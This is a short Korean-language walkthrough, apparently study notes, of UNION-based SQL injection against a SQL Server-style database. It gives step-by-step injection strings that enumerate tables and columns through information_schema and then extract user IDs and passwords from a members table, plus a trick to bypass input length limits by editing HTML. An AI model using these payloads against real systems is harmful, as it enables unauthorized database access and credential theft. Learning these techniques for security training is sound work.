(1) 조회할 Table의 이름 찾기
sysobjects, information_schema.tables
해당 데이터베이스에서 사용하는 Table의 이름을 모아둔 Table
⇒ sysobject 에서 Table 의 이름 Data가 담겨있는 Column : name
⇒ information_schema 에서 Table의 이름 Data가 담겨있는 Column : table_name
syscolumns, information_schema.columns
해당 데이터베이스에서 사용하는 Table의 이름을 모아둔 Table
⇒ syscolumns 에서 Column의 Data가 담겨있는 Column : name
⇒ information_schema.columns 에서 Column의 Data가 담겨있는 Column : column_name
공격 문자열 입력
⇒ ‘ union SELECT table_name FROM information_schema.tables
동일한 개수의 식이 있어야 한다는 오류메세지에서 두 SELECT문이 가져오고있는 Column 개수가 다름을 확인할 수 있음
(2) Column 명 찾기
Column 개수를 구하기 위해 값 증가 시키며 대입
⇒ ‘ union SELECT 1, table_name FROM information_schema.tables --
불러오는 Column 개수가 5가 되었을 때 SQL 문이 정상 동작하여 Table 이름을 추출한 것을 확인할 수 있다
(3) Column 추출
⇒ ‘ union SELECT 1, 2, 3, 4, column_name FROM information_schema.columns --
사용중인 전체 Column 명 추출
(4) 특정 Table의 Column 값 추출
⇒ ‘ union SELECT 1, 2, 3, 4, column_name FROM information_schema.columns where table_name=’members’ --
(5) 특정 Table의 특정 Data 추출 (ID/PW)
⇒ ‘ union SELECT 1, 2, 3, user_id, passwd FROM members --
추출한 데이터를 기반으로 ID 와 PW를 추출하였다
(6) 글자 수 제한이 걸려있는 경우
HTML 태그의 글자 수 제한을 변경 후 공격 문자열을 삽입